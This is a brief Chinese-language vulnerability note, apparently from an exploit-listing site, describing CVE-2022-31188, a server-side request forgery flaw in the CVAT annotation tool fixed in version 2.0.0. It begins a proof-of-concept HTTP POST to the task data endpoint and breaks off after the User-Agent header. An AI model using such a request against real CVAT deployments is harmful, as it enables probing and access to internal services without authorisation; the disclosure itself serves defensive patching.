CVE-2022-31188

CVE-2022-31188 CVE-2022-31188 - OpenCV CVAT（计算机视觉标注工具）SSRF CVAT 是由英特尔开发的开源计算机视觉标注工具。 任何拥有"任务创建"授权的用户都可以通过发送恶意 HTTP 请求触发 SSRF 漏洞，并访问系统上的其他开放端口。 该漏洞在 CVAT 2.0.0 更新中已修复。 root@kitploit: POST /api/v1/tasks/2/data HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15;...